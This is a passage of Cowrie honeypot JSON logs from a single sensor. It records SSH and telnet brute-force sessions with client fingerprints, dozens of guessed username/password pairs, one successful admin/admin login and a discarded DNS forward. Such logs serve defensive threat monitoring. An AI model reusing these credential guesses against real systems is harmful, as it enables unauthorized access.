af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:19.897966Z","src_ip":"69.6.221.248","session":"4c766700ff51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"1234","message":"login attempt [vncuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:20.385052Z","src_ip":"69.6.221.248","session":"4c766700ff51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:21.501847Z","src_ip":"69.6.221.248","session":"4c766700ff51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:27.902537Z","src_ip":"122.168.114.167","session":"9c9244d98479","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.1","message":"Connection lost after 29.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:34.081767Z","src_ip":"122.168.114.167","session":"9c9244d98479","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":44124,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9fa97154044","protocol":"ssh","message":"New connection: 122.168.114.167:44124 (159.203.135.109:22) [session: e9fa97154044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:42.603509Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36684,"dst_ip":"159.203.135.109","dst_port":22,"session":"a52ecff56c0b","protocol":"ssh","message":"New connection: 159.203.92.129:36684 (159.203.135.109:22) [session: a52ecff56c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:45.151099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:45.158494Z","src_ip":"159.203.92.129","session":"a52ecff56c0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:45.162879Z","src_ip":"159.203.92.129","session":"a52ecff56c0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app01","password":"123456","message":"login attempt [app01/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:45.173715Z","src_ip":"159.203.92.129","session":"a52ecff56c0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":48680,"dst_ip":"159.203.135.109","dst_port":22,"session":"e65c39ed8308","protocol":"ssh","message":"New connection: 148.216.28.11:48680 (159.203.135.109:22) [session: e65c39ed8308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:45.584041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:45.587741Z","src_ip":"148.216.28.11","session":"e65c39ed8308","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:45.655901Z","src_ip":"148.216.28.11","session":"e65c39ed8308","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rootuser","message":"login attempt [user/rootuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:45.960006Z","src_ip":"148.216.28.11","session":"e65c39ed8308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:46.179688Z","src_ip":"159.203.92.129","session":"a52ecff56c0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:47.030653Z","src_ip":"148.216.28.11","session":"e65c39ed8308","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:47.055254Z","src_ip":"122.168.114.167","session":"e9fa97154044","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:47.058921Z","src_ip":"122.168.114.167","session":"e9fa97154044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00098013877869,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:49.164666Z","src_ip":"217.196.164.80","session":"8ce584f82660","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.196.164.80","src_port":54928,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c63e2211cc7","protocol":"telnet","message":"New connection: 217.196.164.80:54928 (10.17.0.5:23) [session: 2c63e2211cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:49.527738Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":56190,"dst_ip":"159.203.135.109","dst_port":22,"session":"df9322a192e4","protocol":"ssh","message":"New connection: 2.203.183.35:56190 (159.203.135.109:22) [session: df9322a192e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:58.281101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:58.285370Z","src_ip":"2.203.183.35","session":"df9322a192e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:58.438779Z","src_ip":"2.203.183.35","session":"df9322a192e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234!","message":"login attempt [root/admin1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:58.969988Z","src_ip":"2.203.183.35","session":"df9322a192e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:00.078365Z","src_ip":"2.203.183.35","session":"df9322a192e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:07.252058Z","src_ip":"122.168.114.167","session":"e9fa97154044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.0","message":"Connection lost after 30.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:12.566883Z","src_ip":"122.168.114.167","session":"e9fa97154044","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":8446,"dst_ip":"10.17.0.5","dst_port":22,"session":"598bc1939f83","protocol":"ssh","message":"New connection: 87.251.64.176:8446 (10.17.0.5:22) [session: 598bc1939f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:17.483529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:17.487699Z","src_ip":"87.251.64.176","session":"598bc1939f83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:17.584112Z","src_ip":"87.251.64.176","session":"598bc1939f83","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:17.875130Z","src_ip":"87.251.64.176","session":"598bc1939f83","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:17.973970Z","session":"598bc1939f83","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:18.072368Z","src_ip":"87.251.64.176","session":"598bc1939f83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:18.171753Z","src_ip":"87.251.64.176","session":"598bc1939f83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":40612,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b81c2bdddba","protocol":"ssh","message":"New connection: 69.6.221.248:40612 (159.203.135.109:22) [session: 6b81c2bdddba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:19.994608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:19.999978Z","src_ip":"69.6.221.248","session":"6b81c2bdddba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:20.116007Z","src_ip":"69.6.221.248","session":"6b81c2bdddba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"password1","message":"login attempt [ftpuser/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:20.598728Z","src_ip":"69.6.221.248","session":"6b81c2bdddba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:21.715494Z","src_ip":"69.6.221.248","session":"6b81c2bdddba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":46540,"dst_ip":"159.203.135.109","dst_port":22,"session":"138839ccc336","protocol":"ssh","message":"New connection: 122.168.114.167:46540 (159.203.135.109:22) [session: 138839ccc336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:29.450435Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":57632,"dst_ip":"10.17.0.5","dst_port":22,"session":"b093064c3c78","protocol":"ssh","message":"New connection: 210.79.142.221:57632 (10.17.0.5:22) [session: b093064c3c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:29.765319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:29.769881Z","src_ip":"210.79.142.221","session":"b093064c3c78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":46938,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5e3195c169e","protocol":"ssh","message":"New connection: 148.216.28.11:46938 (159.203.135.109:22) [session: e5e3195c169e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:30.013380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:30.020589Z","src_ip":"148.216.28.11","session":"e5e3195c169e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:30.027230Z","src_ip":"210.79.142.221","session":"b093064c3c78","protocol":"ssh"}
